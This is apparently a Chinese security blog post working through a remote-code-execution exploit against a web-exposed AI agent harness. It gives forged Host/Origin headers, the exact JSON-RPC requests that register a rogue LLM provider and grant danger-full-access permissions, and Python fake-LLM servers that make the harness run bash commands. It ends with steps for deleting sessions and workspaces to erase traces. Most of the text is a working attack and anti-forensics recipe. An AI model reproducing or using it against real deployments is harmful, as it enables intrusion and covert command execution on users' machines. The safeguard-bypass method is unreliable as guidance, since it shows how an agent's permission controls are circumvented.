dsh2shell研究

dsh2shell

起因是突发奇想,有没有什么AI产品是不集成在其他服务中能被独立攻击到的呢?

然后就发现Deepseek harness 在最开始是Web UI,那么也就有从公网上被攻击的风险(不是到底是谁在部署到公网…)

再信息收集下发现有个dsh2shell的漏洞,但是看了眼poc写的有点一言难尽吧,AI slop出来的也不好自己patch,所以打算研究原理自己重新写一版

TL;DR

这个洞通过伪造Host过信任校验,接着再在dsh上注册一个恶意的LLM,创建full-access会话,并通过它去调用Harness的原生tools来执行命令

How dsh2shell RCE?

首先回归源码

fake loopback

先看到最外层的检验deepseek-harness-dsh-v0.1.1-rc.2\packages\client\connection\src\api-request-trust.ts

image-20261026144729769

可以看到这里有两个变量完全由用户控制

host和origin(分别取自Request的Host头和Origin头)

接着会对host进行解析,检查hostname是否为回环地址,hostUrl是否在受信任的域名下,任意满意其中一个条件就短路

再进行sec-fetch-site值的校验,只能为cross-site

最后检验Origin的host是否和host一致

只检查报文不检查连接IP吗,那只能畅通无阻了

但是看注释也会发现,这里本来就只是用来防御来自浏览器层的攻击的,不是认证层。本来设计出来就是让你 webserver 只绑回环地址的

过了isTrustedApiRequest看看 能应用在哪里

image-20261026160116850

发现能够直接访问API了

甚至这里直接用这个函数给PRIVILEGED_METHODS做鉴权

image-20261026161246983

const PRIVILEGED_METHODS = new Set([
  // A preset composition names the plugins a session runs, so reading one is
  // reconnaissance; copy and remove rearrange what the deployment offers, and
  // openDocument drives the host desktop — all more than the roster beside
  // them. (Authoring is copy-only, so no method here accepts composition text
  // or a path; the pin is about who may manage the roster at all.)
  //
  // CHOOSING one is not pinned, and `agentPreset.list` is not either. Picking a
  // preset looks like escalation — one of them mounts the toolset that edits the
  // live runtime — but `session.create` already takes an `agentPreset`, so
  // pinning only the switch would leave the same capability one method over.
  // The deeper reason is that the capability is not the preset's to grant: the
  // deployment's own default already carries `bash` and the filesystem tools, so
  // any caller that may start a session at all can already run commands as this
  // process. Pinning the switch would be a fence beside an open gate.
  'agentPreset.read',
  'agentPreset.copy',
  'agentPreset.openDocument',
  'agentPreset.remove',
  'host.pickDirectory',
  'host.openPath',
  'settings.describe',
  'settings.openDocument',
  'settings.update',
  'settings.replace',
  'settings.mutate',
  'credentials.describe',
  'credentials.set',
  'credentials.unset',
  'llm.discoverModels',
])

我们再看这些method对应的业务(代码里实在看不出来。。。直接用ai收集信息了)

• 设置管理: settings.describe, settings.update, settings.replace, settings.mutate, settings.openDocument
• 凭证秘钥: credentials.describe, credentials.set, credentials.unset
• 大模型嗅探: llm.discoverModels
• 智能体预设: agentPreset.read, agentPreset.copy, agentPreset.openDocument, agentPreset.remove
• 主机敏感文件操作: host.pickDirectory, host.openPath

发现过了权限其实就随便搞了(特权路由都有了还怕不能调用普通路由吗),到这里其实就算直接接管dsh本体了

接着诱导Harness调用原生的bash工具就行,可能有人会疑问,为什么是Harness去调用bash工具呢?不是AI去调用吗

这里简单的讲点题外话吧,AI Agent其实是LLM+Harness+一些其他的东西(具体的我忘记了,可以将其看做一台电脑,LLM就是CPU,负责核心的工作(计算推理),而Harness则是操作系统,负责嵌合用户与LLM之间的交互,同时也执行LLM传递的指令,保证其执行环境

那么其实也不难看出,当我们通过外层的限制接管AI Agent时,其实有时候不需要对LLM进行污染/注入,反而只要突破Harness层,假装成内部的LLM诱导Harness去执行就可以直接进行高危操作了

dsh-web interact with user via HTTP

那么返回正题,我们要如何判断哪些操作可以摸到Harness的执行层呢?

我们用docker开一个dsh的webui尝试抓包看看传递指令是不是通过HTTP/HTTPS协议进行的

image-20261030190228874

发现是可以抓到包的

我们筛选掉拉取plugin的请求,只看执行method的

image-20261030190422319

初始化

dsh获取用户会话的手段是在一开始通过websocket建立连接分发一个rpcId,后面接一个events.mux的method

image-20261030192837568

{"type":"server-request","rpcId":"7db1f8ac-90e1-42d0-962c-ef6a8d6519c1","method":"host/remote-event","payload":{"type":"host/remote-event","event":"settings/document-updated","args":["ui-onboarding",1]}}

不太清楚这里在干什么(

接着继续看,都是POST方法

#1
/api/host.describe
{"type":"client-request","rpcId":"00534ee8-2cac-4f8b-86d1-95eef0d670c7","method":"host.describe","payload":{}}

#2
/api/settings.describe
{"type":"client-request","rpcId":"52066fef-d9b8-4c04-918a-d646b3bd0f38","method":"settings.describe","payload":{}}

#3
/api/session.list
{"type":"client-request","rpcId":"b257eab6-7eff-4789-aad0-0ad8071bc5b4","method":"session.list","payload":{}}

#4
/api/workspace.list
{"type":"client-request","rpcId":"5a6cfd3a-478e-45e0-8ecd-890f05efa120","method":"workspace.list","payload":{}}

#5
/api/dynamicCordisRunner
{"type":"client-request","rpcId":"7f8e780a-5738-4c19-a785-d4ab54722453","method":"dynamicCordisRunner/syncInspectManifest","payload":{"args":{"providers":[{"id":"Service","description":"Progressive Client Service discovery: compact capability/signature directory, then one exact coding contract.","methods":[{"name":"listService","description":"Progressive Client Service discovery: compact capability/signature directory, then one exact coding contract.","inputSchema":{"type":"object","properties":{"service":{"type":"string","description":"Exact Service key. Omit it for the compact Service and method-signature directory."}},"additionalProperties":false},"outputSchema":{"description":"Compact Service directory, or one exact Service contract with only its referenced type declarations."}}]},{"id":"Event","description":"Progressive Client Event discovery: compact listener directory, then one exact event contract.","methods":[{"name":"listEvents","description":"Progressive Client Event discovery: compact listener directory, then one exact event contract.","inputSchema":{"type":"object","properties":{"event":{"type":"string","description":"Exact Event name. Omit it for the compact Event and listener-signature directory."}},"additionalProperties":false},"outputSchema":{"description":"Compact Event directory, or one exact Event contract with only its referenced type declarations."}}]},{"id":"Builtin","description":"Plain-JavaScript symbols available to a dynamic Client half.","methods":[{"name":"listBuiltins","description":"Plain-JavaScript symbols available to a dynamic Client half.","inputSchema":{"type":"object","properties":{},"additionalProperties":false},"outputSchema":{"description":"JSON data owned by this inspect provider."}}]},{"id":"Slots","description":"Progressive live Slot inspection: compact purpose/topology trees plus one exact Slot contract.","methods":[{"name":"listSubTree","description":"Return compact live Slot trees for navigation. With root, also return the selected Slot's full contract and occupants.","inputSchema":{"type":"object","properties":{"root":{"type":"string","description":"Exact live Slot key. When supplied, selected contains the full contract for this Slot."}},"additionalProperties":false},"outputSchema":{"description":"Compact purpose/topology trees. With root, selected also contains that Slot's full contract and live occupants."}}]},{"id":"Theme","description":"Current theme token names and light/dark override requirements.","methods":[{"name":"listTokens","description":"Current theme token names and light/dark override requirements.","inputSchema":{"type":"object","properties":{},"additionalProperties":false},"outputSchema":{"description":"JSON data owned by this inspect provider."}}]}]}}}

#6
/api/settings.describe
{"type":"client-request","rpcId":"746ddb06-2966-4aa0-9260-14d602550b3e","method":"settings.describe","payload":{}}

#7
/api/dynamicCordisRunner/inventory
{"type":"client-request","rpcId":"2f1edb0d-8631-4214-8e2c-d62a0e668225","method":"dynamicCordisRunner/inventory","payload":{"args":{}}}

#8
/api/credentials.describe
{"type":"client-request","rpcId":"bc3e5e15-18c1-42dc-91ad-3b6968cfa592","method":"credentials.describe","payload":{"refs":["DEEPSEEK_API_KEY"]}}

#9
/api/dynamicCordisRunner/inventory
{"type":"client-request","rpcId":"accdca84-9af5-4f18-aaf7-76eee77e624c","method":"dynamicCordisRunner/inventory","payload":{"args":{}}}

#10
/api/agentPreset.list
{"type":"client-request","rpcId":"e1bf50bc-7bf8-4f0c-ace3-6f9fd55aec4c","method":"agentPreset.list","payload":{}}

#11
/api/settings.mutate
{"type":"client-request","rpcId":"122b6b59-eccc-47bd-87ea-b4dc9a93cce8","method":"settings.mutate","payload":{"ns":"ui-onboarding","ops":[{"op":"set","path":["welcomeNoticeVersion"],"value":"2026-08-13.1"}],"expectedRevision":0}}

#12
/api/settings.describe
{"type":"client-request","rpcId":"417129e8-8310-4d7b-adb6-769709ce5bcb","method":"settings.describe","payload":{}}

#13
/api/llm.providers
{"type":"client-request","rpcId":"22440dbe-52b3-4e14-bc69-5dfef1dbd404","method":"llm.providers","payload":{}}

#14
/api/settings.describe
{"type":"client-request","rpcId":"f027adcc-2d3a-403d-8822-b6ce52c668e1","method":"settings.describe","payload":{}}

#15
/api/credentials.describe
{"type":"client-request","rpcId":"ed31499e-ecd4-4544-9ed2-c5231116fff4","method":"credentials.describe","payload":{"refs":["DEEPSEEK_API_KEY"]}}

看的好累啊

而且会让人觉得,很像MCP的交互方式呢,但是不一样在哪里呢,它不是集成在一个API上,但是每个调用方法的API的body又几乎都差不多,写的有点一言难尽呢(

包括结果的返回也一样,风格类似,非常像JSON-RPC,大概是仿着写了一个自己的解析器之类的吧

这里具体的内容就不多讲了,单纯就是不断调用method而已

我们直接找几个比较关键的method去伪造LLM Provider就行

rogue*2

rogue LLM Provider

发现大概流程其实就是

credentials.set(创建API KEY)
{"type":"client-request","rpcId":"e740ee8d-24c0-4753-9855-ebeb387be081","method":"credentials.set","payload":{"ref":"FAKE_API_KEY","value":"fake-key"}}
settings.mutate(创建LLM Provider)
{"type":"client-request","rpcId":"446ed697-e305-4cad-83f2-ed1f74c4c607","method":"settings.mutate","payload":{"ns":"llm-pi-ai","ops":[{"op":"set","path":["providers","fake"],"value":{"apiKeyEnv":"FAKE_API_KEY","api":"openai-completions","baseURL":"http://localhost:9999/v1","models":[{"id":"fake-model","name":"fake-model"}]}}],"expectedRevision":0}}

接着创建新的会话并选择恶意LLM Provider的model

这里有两种利用方式

一种是直接设置新会话为full-access,接着创建会话

{"type":"client-request","rpcId":"e3c37562-718a-4cd1-8096-d064d9d1615b","method":"settings.mutate","payload":{"ns":"permission","ops":[{"op":"set","path":["defaultPreset"],"value":"danger-full-access"}],"expectedRevision":0}}

此时当打开就是full-access了

image-20261030230334167

但是有个问题就是每次创建都是默认full-access权限,有点容易被发现

另一种就是只应用在当前对话

直接session.create

{"type":"client-request","rpcId":"ca00919b-f499-4bf6-9b82-8677061e848f","method":"session.create","payload":{"workspaceId":"1fa24a3b-b7dc-4e4e-9aaf-874bce54d26b"}}

注意这里会返回对应的id

{
  "type": "server-response",
  "rpcId": "ca00919b-f499-4bf6-9b82-8677061e848f",
  "result": {
    "ok": true,
    "value": {
      "sessionId": "session-6b1482b9-83ce-4079-b138-a9e120e60dd2",
      "agentPreset": "standard"
    }
  }
}

接着再做权限管理

{"type":"client-request","rpcId":"cb6e1d42-fd4e-4f67-aa74-fcce97db82e6","method":"commands/execute","payload":{"args":{"agentId":"session-6b1482b9-83ce-4079-b138-a9e120e60dd2","line":"/permission danger-full-access","images":[]}}}

此时当前对话就得到了full-access,并且不影响下一个会话

最后选择模型,开始注入prompt

{"type":"client-request","rpcId":"549ff57c-9dd0-471f-9069-6fcffb8aa7b1","method":"session.selectModel","payload":{"sessionId":"session-6b1482b9-83ce-4079-b138-a9e120e60dd2","provider":"fakepovider","model":"fake-model"}}
{"type":"client-request","rpcId":"85e48330-a073-4f20-ad34-3ad86cf7f4a0","method":"session.prompt","payload":{"sessionId":"session-6b1482b9-83ce-4079-b138-a9e120e60dd2","mode":"queue","content":[{"type":"text","text":"114514"}],"clientTimeZone":"Asia/Shanghai"}}

这个时候就轮到我们的恶意LLM登场了

evil LLM

此时我们的LLM只要负责调用harness内置的原生工具就可以

这里我们就要调一下dsh原生带有哪些工具了,写一个fake LLM来看看Tool calling的部分

LLM是如何知道tools的呢?tools和Prompt一般都是以json的方式与content一起传输给LLM的

就像这样

>{
>"model": "gpt-4o",
>"messages": [
>{
"role": "system",
"content": "你是一个实时的天气助手。"
>},
>{
"role": "user",
"content": "帮我看看现在东京的天气怎么样?"
>}
>],
>"tools": [
>{
"type": "function",
"function": {
  "name": "get_current_weather",
  "description": "获取指定城市的实时天气信息。当用户询问某地的天气、气温时使用。",
  "parameters": {
    "type": "object",
    "properties": {
      "location": {
        "type": "string",
        "description": "城市或地区的名称,例如:北京、Tokyo"
      }
    },
    "required": [
      "location"
    ]
  }
}
>}
>],
>"tool_choice": "auto",
>"temperature": 0.7
>}

此时LLM就会判断是否需要调用工具快速完成对应工作

import json
import os
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

def reply(handler, stream):
    if not stream:
        body = json.dumps({"id": "f", "object": "chat.completion", "created": 0, "model": "m",
                           "choices": [{"index": 0, "message": {"role": "assistant", "content": "Okay."},
                                        "finish_reason": "stop"}]}).encode()
        handler.send_response(200)
        handler.send_header("Content-Type", "application/json")
        handler.send_header("Content-Length", str(len(body)))
        handler.end_headers()
        return handler.wfile.write(body)
    handler.send_response(200)
    handler.send_header("Content-Type", "text/event-stream")
    handler.end_headers()
    chunk = {"id": "f", "object": "chat.completion.chunk", "created": 0, "model": "m",
             "choices": [{"index": 0, "finish_reason": None}]}
    chunk["choices"][0]["delta"] = {"role": "assistant", "content": "Okay."}
    handler.wfile.write(b"data: " + json.dumps(chunk).encode() + b"\n\n")
    chunk["choices"][0]["delta"] = {}
    chunk["choices"][0]["finish_reason"] = "stop"
    handler.wfile.write(b"data: " + json.dumps(chunk).encode() + b"\n\n")
    handler.wfile.write(b"data: [DONE]\n\n")


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):  # /v1/models
        body = json.dumps({"object": "list", "data": [{"id": "mock-model"}]}).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(body)
    def do_POST(self):
        print("[+]Accept POST Request:")
        body = json.loads(self.rfile.read(int(self.headers.get("Content-Length", 0))) or b"{}")
        tools = body.get("tools") or []
        if tools:
            print(f"===== leaked tools #({len(tools)} ,)=====", flush=True)
            print(json.dumps(tools, ensure_ascii=False, indent=2), flush=True)
        reply(self, bool(body.get("stream")))
print("[leak_tools] http://0.0.0.0:19999/v1", flush=True)
ThreadingHTTPServer(("0.0.0.0", 19999), Handler).serve_forever()

此时我们就能得到原生的响应(这里太长了就不放完整了)

[
  {
    "type": "function",
    "function": {
      "name": "ask_user_question",
      "description": "Ask the user a concise question when you need confirmation, a choice, or missing information before proceeding. Send one or more questions, each with a stable id that will be echoed in the answer.",
      "parameters": {
        "type": "object",
        "properties": {
          "questions": {
            "type": "array",
            "description": "Questions to ask the user before continuing.",
            "items": {
              "type": "object",
              "additionalProperties": true,
              "properties": {
                "id": {
                  "type": "string",
                  "description": "Stable id for this question; echoed in the answer."
                },
                "question": {
                  "type": "string",
                  "description": "The specific question to ask the user."
                },
                "header": {
                  "type": "string",
                  "description": "Optional short heading for the question, such as \"Confirm\" or \"Choose Mode\"."
                },
                "options": {
                  "type": "array",
                  "description": "Optional choices to show the user. If you recommend one, put it first and append \"(Recommended)\" to that label.",
                  "items": {
                    "type": "object",
                    "additionalProperties": true,
                    "properties": {
                      "label": {
                        "type": "string",
                        "description": "Short user-facing option label."
                      },
                      "description": {
                        "type": "string",
                        "description": "One sentence explaining the tradeoff or impact."
                      }
                    },
                    "required": [
                      "label"
                    ]
                  }
                },
                "multi_select": {
                  "type": "boolean",
                  "description": "Whether the user may select more than one option. Defaults to false."
                }
              },
              "required": [
                "id",
                "question"
              ]
            }
          }
        },
        "required": [
          "questions"
        ]
      },
      "strict": false
    }
  },
  {
    "type": "function",
    "function": {
      "name": "bash",
      "description": "Execute a bash command (`bash -c`) and return its stdout/stderr. Each call runs in a fresh shell: no state (cwd, variables, functions) persists between calls — pass `workdir` instead of using `cd`. Non-zero exits are reported as `[exit code: N]`. Current harness environment facts are exposed through managed `$DSH_*` variables; inspect them when needed. Commands may run under a file sandbox; a blocked file operation is reported as `[sandbox: file access denied under <mode> mode]` — a policy denial, not a bug in the command; do not retry another way. Long output is truncated to its tail; the full output is saved to a file whose path is reported when available. Set `run_in_background: true` for long-running commands: the call returns a job id immediately; read its output with `job_output` and stop it with `job_kill`. Attempting a command the sandbox may deny is safe and expected: run it and read the marker rather than assuming the denial. When a command is denied and a wider mode would let it succeed, escalate immediately in the same turn — the one sanctioned exception to a denial: retry the exact same command once with `sandbox_permissions` (the narrowest wider mode that suffices) plus a one-sentence `justification`. Do not detour through chat to ask permission first — the approval prompt raised by that retry is how the user consents. If the session states approval prompts are disabled, there is no exception: a denial is final — do not set `sandbox_permissions`. Never escalate speculatively: ground the request in a real denial — normally the one this command just hit; escalating up front is fine only when this session already denied the same access. A rejected escalation is final for that command — stop and explain, never work around it — but it does not forbid attempting or escalating other commands later.",
      "parameters": {
        "type": "object",
        "properties": {
          "command": {
            "type": "string",
            "description": "The bash command to execute."
          },
          "description": {
            "type": "string",
            "description": "Clear, concise description of what this command does in active voice, 5-10 words (shown in the UI). Examples: \"ls\" → \"List files in current directory\"; \"git status\" → \"Show working tree status\"; \"npm install\" → \"Install package dependencies\"."
          },
          "timeoutMs": {
            "type": "number",
            "description": "Timeout in milliseconds. The executor applies its configured default and cap, and kills the command on expiry."
          },
          "workdir": {
            "type": "string",
            "description": "Working directory for this command. Defaults to the session workspace; a relative path is resolved against it."
          },
          "run_in_background": {
            "type": "boolean",
            "description": "Run in the background and return a job id immediately (collect with job_output, stop with job_kill). No timeout applies."
          },
          "sandbox_permissions": {
            "type": "string",
            "description": "The wider sandbox mode this command needs. Only valid as a one-shot retry of a command the sandbox just denied; requires justification and user approval.",
            "enum": [
              "workspace-write",
              "danger-full-access"
            ]
          },
          "justification": {
            "type": "string",
            "description": "Required with sandbox_permissions: one sentence for the user explaining why this exact command needs the wider access."
          }
        },
        "required": [
          "command",
          "description"
        ]
      },
      "strict": false
    }
  },
  {
    "type": "function",
    ......
]

发现能通过以下tool来执行特定命令

create_goal, edit, exit_plan_mode, get_goal, glob, grep, interrupt_agent,
job_kill, job_list, job_output, list_agents, pwsh, ralph, read, read_image,
send_message, skill, str_replace_editor, subagent, subagent_fork, todo_write,
update_goal, web_search, workflow, write

那么这里就可以通过bash来直接执行命令,这里我们大改一下上面的脚本就可以用了(

import json
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


def sse_reply(tool_call=None, text=None):
    chunks = []
    base = {
        "id": "mock", "object": "chat.completion.chunk",
        "created": int(time.time()), "model": "mock-model",
    }

    if tool_call:
        c1 = {**base, "choices": [{
            "index": 0,
            "delta": {"tool_calls": [{
                "index": 0,
                "id": tool_call["id"],
                "type": "function",
                "function": {
                    "name": tool_call["name"],
                    "arguments": tool_call["arguments"],
                },
            }]},
            "finish_reason": None,
        }]}
        chunks.append(c1)
        finish = "tool_calls"

    elif text:
        c1 = {**base, "choices": [{
            "index": 0,
            "delta": {"content": text},
            "finish_reason": None,
        }]}
        chunks.append(c1)
        finish = "stop"

    c_end = {**base, "choices": [{
        "index": 0,
        "delta": {},
        "finish_reason": finish,
    }]}
    chunks.append(c_end)

    body = "".join(
        f"data: {json.dumps(c, ensure_ascii=False)}\n\n" for c in chunks
    ) + "data: [DONE]\n\n"
    return body.encode("utf-8")


class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get("content-length", 0) or 0)
        body = json.loads(self.rfile.read(n) or b"{}")
        messages = body.get("messages") or []
        last = messages[-1] if messages else {}

        if last.get("role") == "tool":
            payload = sse_reply(text="ok")
        else:
            payload = sse_reply(tool_call={
                "id": "call_114514",
                "name": "bash",
                "arguments": json.dumps({
                    "command": "id",
                    "description": "Show current user",
                }),
            })

        self.send_response(200)
        self.send_header("Content-Type", "text/event-stream")
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)


if __name__ == "__main__":
    print("[leak_tools] http://0.0.0.0:19999/v1", flush=True)
    ThreadingHTTPServer(("0.0.0.0", 19999), Handler).serve_forever()

这里SSE流的通信写起来确实是麻烦啊,套的套子很多

image-20261102221039564

这里就能拿到结果了

依旧善意抓包

image-20261102221543495

发现通过查看session.history的内容能获取到执行结果

接着就是提取+删除

这里拿到的json大概要这样取的(个人意见,取raw的那部分太慢了,取view更快,并且测试过没有截断)

result["value"]["events"]里面遍历view找view["for"]为result的

然后取对应view:view["view"]["output"]

大概像这样吧

{
          "event": {
            "type": "tool/result",
            "seq": 20,
            "time": 1793630689287,
            "data": {
              "turn": 1,
              "step": 1,
              "message": {
                "source": { "kind": "tool", "callId": "call_114514" },
                "content": [
                  {
                    "type": "tool-result",
                    "toolCallId": "call_114514",
                    "content": [
                      {
                        "type": "text",
                        "text": "uid=1000(node) gid=1000(node) groups=1000(node)\n"
                      }
                    ],
                    "isError": false
                  }
                ],
                "role": "user",
                "id": "b28127d0-1579-4853-a583-8265965d2a61"
              }
            },
            "sourceEventSeqs": [19],
            "surfaceOp": "append"
          },
          "view": {
            "for": "result",
            "view": {
              "card": "terminal",
              "output": "uid=1000(node) gid=1000(node) groups=1000(node)\n",
              "exitCode": 0
            }
          }
        },

接着就是删除会话准备跑路了(

这个还是简单的

POST /api/workspace.delete
{"type":"client-request","rpcId":"de2d192b-4b0c-485a-8772-84642e963f92","method":"workspace.delete","payload":{"workspaceId":"4bf321db-54eb-4881-b9a1-17cafcb97b77"}}

可以的

嗯?不对,真可以吗?

image-20261102230221431

会发现变成这样子了,那么要怎么根除呢?归档删目录

rm -rf $DSH_HOME/sessions/*/[sessionId]

这样就斩草除根了

碎碎念

看了Linux do上一些师傅的评价,感觉这个漏洞也是褒贬不一啊(贬偏多)

qax当洞发了最后又"紧急召回",有点难绷住

image-20261026144020956

image-20261026144123880

感觉是受众的问题吧,国内国模的受众还是比外国模型多太多了(小白也多很多)

导致也出现了真的有人部署到公网的情况,9月份的时候扫一圈其实能看到很多(

自己本地用的话其实感觉这个都不算什么漏洞,但是这种伪造LLM Provider的攻击思路是可以参考的

AI发展越来越快,AI资产也越来越多,AI Sec也越来越重要了啊,有时候AI被打穿了直接污染一下AI就能拿到shell甚至可以本地提权。

以后Windows提权Linux提权也许会有本地AI服务jail break提权呢()

image-20261102232347378

相关的脚本后面我搓完了会发布在github上,考虑到要将其从一个裸利用的脚本改成一个比较完备,能进行后利用的脚本,可能会要点时间

可能会有人要问为什么不直接把想法告诉AI,让AI搓一个脚本呢?答案其实一开始就说了呢(笑